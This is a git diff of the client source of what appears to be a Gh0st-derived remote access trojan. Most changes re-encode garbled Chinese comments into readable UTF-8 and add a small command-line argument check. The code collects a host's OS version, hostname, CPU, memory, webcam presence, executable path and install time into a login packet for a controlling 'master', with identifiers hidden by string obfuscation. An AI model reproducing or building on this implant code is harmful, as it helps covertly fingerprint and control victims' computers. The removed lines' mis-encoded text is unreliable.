diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 409748b..8b0e68d 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -1,4 +1,4 @@ -// ClientDll.cpp : Defines the entry point for the DLL application. +// ClientDll.cpp : Defines the entry point for the DLL application. // #include "stdafx.h" @@ -217,7 +217,7 @@ int main(int argc, const char *argv[]) } SetConsoleCtrlHandler(&callback, TRUE); - const char* ip = argc > 1 ? argv[1] : NULL; + const char* ip = (argc > 1 && argv[1][0] != '-') ? argv[1] : NULL; int port = argc > 2 ? atoi(argv[2]) : 6543; ClientApp& app(g_MyApp); app.g_Connection->SetType(CLIENT_TYPE_ONE); diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 226e6df..ccb4e0d 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -1,4 +1,4 @@ -#include "StdAfx.h" +#include "StdAfx.h" #include "LoginServer.h" #include "Common.h" #include @@ -30,16 +30,16 @@ bool IsWindows11() /************************************************************************ --------------------- -ߣIT1995 -ԴCSDN -ԭģhttps://blog.csdn.net/qq78442761/article/details/64440535 -ȨΪԭ£ת븽ϲӣ -޸˵2019.3.29Ԭ޸ +作者:IT1995 +来源:CSDN +原文:https://blog.csdn.net/qq78442761/article/details/64440535 +版权声明:本文为博主原创文章,转载请附上博文链接! +修改说明:2019.3.29由袁沅祥修改 ************************************************************************/ std::string getSystemName() { - std::string vname("δ֪ϵͳ"); - //жǷΪwin8.1win10 + std::string vname("未知操作系统"); + //先判断是否为win8.1或win10 typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*); HINSTANCE hinst = LoadLibrary("ntdll.dll"); if (hinst == NULL) { @@ -47,7 +47,7 @@ std::string getSystemName() } if (IsWindows11()) { vname = "Windows 11"; - Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); + Mprintf("此电脑的版本为:%s\n", vname.c_str()); return vname; } DWORD dwMajor, dwMinor, dwBuildNumber; @@ -58,31 +58,31 @@ std::string getSystemName() proc(&dwMajor, &dwMinor, &dwBuildNumber); if (dwMajor == 6 && dwMinor == 3) { //win 8.1 vname = "Windows 8.1"; - Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); + Mprintf("此电脑的版本为:%s\n", vname.c_str()); return vname; } if (dwMajor == 10 && dwMinor == 0) { //win 10 vname = "Windows 10"; - Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); + Mprintf("此电脑的版本为:%s\n", vname.c_str()); return vname; } - //治жWin ServerΪ˻δϵͳĻӣʱ + //下面不能判断Win Server,因为本人还未有这种系统的机子,暂时不给出 - //жwin8.1µİ汾 - SYSTEM_INFO info; //SYSTEM_INFOṹж64λAMD - GetSystemInfo(&info); //GetSystemInfoṹ + //判断win8.1以下的版本 + SYSTEM_INFO info; //用SYSTEM_INFO结构判断64位AMD处理器 + GetSystemInfo(&info); //调用GetSystemInfo函数填充结构 OSVERSIONINFOEX os; os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); if (GetVersionEx((OSVERSIONINFO *)&os)) { - //ݰ汾Ϣжϲϵͳ + //下面根据版本信息判断操作系统名称 switch (os.dwMajorVersion) { - //ж汾 + //判断主版本号 case 4: switch (os.dwMinorVersion) { - //жϴΰ汾 + //判断次版本号 case 0: if (os.dwPlatformId == VER_PLATFORM_WIN32_NT) - vname ="Windows NT 4.0"; //19967· + vname ="Windows NT 4.0"; //1996年7月发布 else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) vname = "Windows 95"; break; @@ -96,19 +96,19 @@ std::string getSystemName() break; case 5: switch (os.dwMinorVersion) { - //ٱȽdwMinorVersionֵ + //再比较dwMinorVersion的值 case 0: - vname = "Windows 2000"; //199912· + vname = "Windows 2000"; //1999年12月发布 break; case 1: - vname = "Windows XP"; //20018· + vname = "Windows XP"; //2001年8月发布 break; case 2: if (os.wProductType == VER_NT_WORKSTATION && info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) vname = "Windows XP Professional x64 Edition"; else if (GetSystemMetrics(SM_SERVERR2) == 0) - vname = "Windows Server 2003"; //20033· + vname = "Windows Server 2003"; //2003年3月发布 else if (GetSystemMetrics(SM_SERVERR2) != 0) vname = "Windows Server 2003 R2"; break; @@ -120,7 +120,7 @@ std::string getSystemName() if (os.wProductType == VER_NT_WORKSTATION) vname = "Windows Vista"; else - vname = "Windows Server 2008"; //汾 + vname = "Windows Server 2008"; //服务器版本 break; case 1: if (os.wProductType == VER_NT_WORKSTATION) @@ -137,25 +137,25 @@ std::string getSystemName() } break; default: - vname = "δ֪ϵͳ"; + vname = "未知操作系统"; } - Mprintf("˵Եİ汾Ϊ:%s\n", vname.c_str()); + Mprintf("此电脑的版本为:%s\n", vname.c_str()); } else - Mprintf("汾ȡʧ\n"); + Mprintf("版本获取失败\n"); return vname; } std::string formatTime(const FILETIME& fileTime) { - // תΪ 64 λʱ + // 转换为 64 位时间 ULARGE_INTEGER ull; ull.LowPart = fileTime.dwLowDateTime; ull.HighPart = fileTime.dwHighDateTime; - // תΪ뼶ʱ + // 转换为秒级时间戳 std::time_t startTime = static_cast((ull.QuadPart / 10000000ULL) - 11644473600ULL); - // ʽ + // 格式化输出 std::tm* localTime = std::localtime(&startTime); char buffer[100]; std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime); @@ -166,7 +166,7 @@ std::string getProcessTime() { FILETIME creationTime, exitTime, kernelTime, userTime; - // ȡǰ̵ʱϢ + // 获取当前进程的时间信息 if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) { return formatTime(creationTime); } @@ -190,25 +190,25 @@ int getOSBits() } } -// CPU +// 检查CPU核心数 // SYSTEM_INFO.dwNumberOfProcessors int GetCPUCores() { INT i = 0; #ifdef _WIN64 - // x64 £Ҫʹ `NtQuerySystemInformation` + // 在 x64 下,我们需要使用 `NtQuerySystemInformation` SYSTEM_INFO sysInfo; GetSystemInfo(&sysInfo); - i = sysInfo.dwNumberOfProcessors; // ȡ CPU + i = sysInfo.dwNumberOfProcessors; // 获取 CPU 核心数 #else - _asm { // x64ģʽ²֧__asmĻǶ + _asm { // x64编译模式下不支持__asm的汇编嵌入 mov eax, dword ptr fs : [0x18] ; // TEB mov eax, dword ptr ds : [eax + 0x30] ; // PEB mov eax, dword ptr ds : [eax + 0x64] ; mov i, eax; } #endif - Mprintf("˼CPU: %d\n", i); + Mprintf("此计算机CPU核心: %d\n", i); return i; } @@ -218,7 +218,7 @@ double GetMemorySizeGB() mst.dwLength = sizeof(mst); GlobalMemoryStatusEx(&mst); double GB = mst.ullTotalPhys / (1024.0 * 1024 * 1024); - Mprintf("˼ڴ: %fGB\n", GB); + Mprintf("此计算机内存: %fGB\n", GB); return GB; } @@ -277,11 +277,11 @@ std::string GetCurrentUserNameA() LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) { LOGIN_INFOR LoginInfor; - LoginInfor.bToken = TOKEN_LOGIN; // Ϊ¼ - //òϵͳϢ + LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录 + //获得操作系统信息 strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str()); - //PCName + //获得PCName char szPCName[MAX_PATH] = {0}; gethostname(szPCName, MAX_PATH); @@ -297,13 +297,13 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) LoginInfor.dwCPUMHz = dwCPUMHz; LoginInfor.bWebCamIsExist = bWebCamIsExist; strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str()); - LoginInfor.AddReserved(GetClientType(conn.ClientType())); // - LoginInfor.AddReserved(getOSBits()); // ϵͳλ - LoginInfor.AddReserved(GetCPUCores()); // CPU - LoginInfor.AddReserved(GetMemorySizeGB()); // ϵͳڴ + LoginInfor.AddReserved(GetClientType(conn.ClientType())); // 类型 + LoginInfor.AddReserved(getOSBits()); // 系统位数 + LoginInfor.AddReserved(GetCPUCores()); // CPU核数 + LoginInfor.AddReserved(GetMemorySizeGB()); // 系统内存 char buf[_MAX_PATH] = {}; GetModuleFileNameA(NULL, buf, sizeof(buf)); - LoginInfor.AddReserved(buf); // ļ· + LoginInfor.AddReserved(buf); // 文件路径 LoginInfor.AddReserved("?"); // test iniFile cfg(CLIENT_PATH); std::string installTime = cfg.GetStr("settings", "install_time"); @@ -311,9 +311,9 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) installTime = ToPekingTimeAsString(nullptr); cfg.SetStr("settings", "install_time", installTime); } - LoginInfor.AddReserved(installTime.c_str()); // װʱ - LoginInfor.AddReserved("?"); // װϢ - LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // λ + LoginInfor.AddReserved(installTime.c_str()); // 安装时间 + LoginInfor.AddReserved("?"); // 安装信息 + LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数 std::string str; std::string masterHash(skCrypt(MASTER_HASH)); HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE"); @@ -331,7 +331,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) auto list = StringToVector(str, '-', 3); str = list[1].empty() ? "Unknown" : list[1]; } - LoginInfor.AddReserved(str.c_str()); // ȨϢ + LoginInfor.AddReserved(str.c_str()); // 授权信息 bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 || strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0; const char* id = isDefault ? masterHash.c_str() : conn.szFlag; @@ -379,7 +379,7 @@ BOOL WebCamIsExist() char szDeviceName[100], szVer[50]; for (int i = 0; i < 10 && !bOk; ++i) { bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName), - //ϵͳAPI + //系统的API函数 szVer, sizeof(szVer)); } return bOk;